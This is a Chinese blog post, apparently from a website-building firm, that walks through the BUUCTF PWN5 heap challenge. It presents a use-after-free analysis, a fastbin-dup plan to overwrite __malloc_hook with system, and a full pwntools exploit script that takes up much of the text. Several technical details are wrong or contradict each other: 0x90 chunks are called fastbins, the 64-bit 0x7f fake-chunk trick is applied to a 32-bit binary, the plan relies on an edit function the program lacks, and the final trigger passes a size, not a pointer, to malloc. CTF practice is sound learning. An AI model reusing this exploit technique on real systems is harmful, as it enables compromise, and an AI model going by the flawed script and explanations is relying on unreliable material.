ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

BUUCTF PWN5堆漏洞利用实战解析

2026/8/11 16:27:38 拓冰建站 浏览量
BUUCTF PWN5堆漏洞利用实战解析

1. BUUCTF PWN刷题实战指南

作为一名CTF老鸟,我刷过上百道PWN题,BUUCTF平台上的题目质量确实不错。今天想和大家分享我在BUUCTF上刷PWN题的经验,特别是第5道题目的详细解法。这道题涉及堆漏洞利用,是典型的House of系列题目,对理解glibc堆管理机制很有帮助。

PWN题在CTF比赛中一直占据重要地位,BUUCTF平台的题目设置循序渐进,从基础栈溢出到高级堆利用都有涵盖。第5题作为中级难度题目,主要考察选手对Use After Free漏洞的理解和利用能力。下面我会从环境搭建、题目分析、漏洞利用到最终getshell,一步步拆解这道题目。

2. 题目环境与初步分析

2.1 题目基本信息

首先我们需要获取题目文件,在BUUCTF平台下载对应的二进制文件和libc库。这道题提供了以下文件:

  • pwn5:32位ELF可执行文件
  • libc-2.23.so:配套的libc库

使用checksec检查二进制文件的安全机制:

Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)

可以看到程序开启了栈保护(NX)和栈溢出保护(Canary),但没有开启PIE(地址随机化)。这意味着我们可以利用程序中固定的地址,这对后续的漏洞利用非常重要。

2.2 程序功能分析

运行程序后,它提供了一个简单的菜单:

1. Add note 2. Delete note 3. Print note 4. Exit

通过逆向分析(我用的是IDA Pro),可以确定程序的主要数据结构是note,每个note包含:

  • 一个size字段(4字节)
  • 一个content指针(4字节)

程序使用malloc分配note结构体和content缓冲区,delete功能会free这两个内存块,但没有将指针置NULL,这就埋下了Use After Free的隐患。

3. 漏洞定位与利用思路

3.1 漏洞点分析

经过仔细审计,发现程序存在以下几个问题:

  1. Delete操作后没有清空指针(UAF漏洞)
  2. Print功能没有检查note是否已被释放
  3. 所有note存储在全局数组中,没有数量限制

特别重要的是,当free一个note后,其content指针仍然保留在全局数组中,通过Print功能可以读取已释放内存的内容,这给了我们泄露内存信息的机会。

3.2 利用策略设计

基于上述漏洞,我制定了以下利用步骤:

  1. 分配两个note,然后释放它们
  2. 通过Print功能泄露堆地址和libc地址
  3. 利用fastbin dup技巧控制malloc的返回指针
  4. 将malloc hook覆盖为system地址
  5. 触发malloc执行system("/bin/sh")

这个利用链的关键在于如何通过UAF泄露地址信息,以及如何精心构造堆布局来实现任意地址写。下面我会详细讲解每个步骤的实现细节。

4. 详细利用过程

4.1 堆布局与地址泄露

首先我们创建两个note:

add(0x80, "A"*0x80) # note0 add(0x80, "B"*0x80) # note1

然后释放它们:

delete(0) delete(1)

此时堆的状态如下:

fastbin[0x90]: note1 -> note0 -> NULL

通过Print功能读取note0的内容,我们可以泄露堆地址:

show(0) heap_addr = u32(p.recv(4))

接下来我们重新分配一个note,这次size设为0x90(包含header):

add(0x88, "C"*0x80 + p32(0x90) + p32(elf.got["free"]))

这样我们就将free的GOT表地址放入了fastbin链表。之后再次分配note时,malloc会返回free的GOT表地址,通过Print功能我们就能读取free的真实地址,从而计算出libc基址。

4.2 控制执行流

知道libc基址后,我们可以计算system和__malloc_hook的地址。接下来就是如何将__malloc_hook覆盖为system地址。

利用fastbin dup技巧,我们可以这样操作:

  1. 分配三个note并释放它们,构造fastbin链表
  2. 通过编辑功能修改已释放note的fd指针,使其指向__malloc_hook附近的fake chunk
  3. 再次分配note,控制__malloc_hook的值

这里有个技巧:__malloc_hook附近通常没有合法的chunk大小,但我们可以找一个0x7f的大小标记,因为:

0x7f在32位系统中会被当作0x7f(127)字节的chunk

找到合适的fake chunk地址后,我们就能将__malloc_hook覆盖为system地址。

4.3 获取shell

最后一步是触发malloc调用,同时传入"/bin/sh"字符串作为参数。我们可以:

  1. 分配一个新note,content设置为"/bin/sh"
  2. 在分配时,程序会调用malloc,实际执行的是system("/bin/sh")

完整的exploit代码如下:

from pwn import * context(arch="i386", os="linux") p = process("./pwn5") elf = ELF("./pwn5") libc = ELF("./libc-2.23.so") def add(size, content): p.sendlineafter(">> ", "1") p.sendlineafter("Size: ", str(size)) p.sendafter("Content: ", content) def delete(idx): p.sendlineafter(">> ", "2") p.sendlineafter("Index: ", str(idx)) def show(idx): p.sendlineafter(">> ", "3") p.sendlineafter("Index: ", str(idx)) # 堆布局与地址泄露 add(0x80, "A"*0x80) # note0 add(0x80, "B"*0x80) # note1 delete(0) delete(1) show(0) heap_addr = u32(p.recv(4)) log.info("Heap address: 0x%x" % heap_addr) # 泄露libc地址 add(0x88, "C"*0x80 + p32(0x90) + p32(elf.got["free"])) add(0x80, "D"*0x80) add(0x80, p32(elf.plt["puts"])) show(1) free_addr = u32(p.recv(4)) libc.address = free_addr - libc.sym["free"] log.info("Libc base: 0x%x" % libc.address) # 控制malloc hook malloc_hook = libc.sym["__malloc_hook"] fake_chunk = malloc_hook - 0x23 system_addr = libc.sym["system"] add(0x60, "E"*0x60) # note4 add(0x60, "F"*0x60) # note5 delete(4) delete(5) delete(4) # double free add(0x60, p32(fake_chunk)) add(0x60, "G"*0x60) add(0x60, "H"*0x60) add(0x60, "A"*0x13 + p32(system_addr)) # 触发system("/bin/sh") add(0x80, "/bin/sh\x00") p.interactive()

5. 常见问题与调试技巧

5.1 堆布局失败

有时候fastbin链表会混乱,导致利用失败。这时可以使用gdb调试:

gdb -p <pid> x/32wx 0x<heap_addr>

查看堆内存状态,确认fastbin链表是否符合预期。

5.2 地址计算错误

在32位系统中,地址计算要特别注意符号扩展问题。建议在关键步骤后打印所有计算的地址,确保它们是正确的。

5.3 libc版本问题

不同libc版本的偏移可能不同。如果exploit在本地成功但在远程失败,很可能是libc版本不匹配。可以通过泄露多个libc函数地址来确认远程libc版本。

6. 防御措施与进阶学习

这道题展示了UAF漏洞的威力。在实际开发中,我们应该:

  1. 释放指针后立即置NULL
  2. 使用after-free检测工具如AddressSanitizer
  3. 避免直接使用裸指针,改用智能指针

对于想深入学习PWN的同学,我推荐以下资源:

  • 《漏洞战争》:系统讲解各种二进制漏洞
  • how2heap:GitHub上的堆利用教程
  • CTF Wiki:全面的CTF知识库

这道BUUCTF PWN5题目虽然不算最难,但涵盖了堆利用的多个关键知识点。通过反复练习这类题目,可以深入理解glibc堆管理机制,为更复杂的漏洞利用打下基础。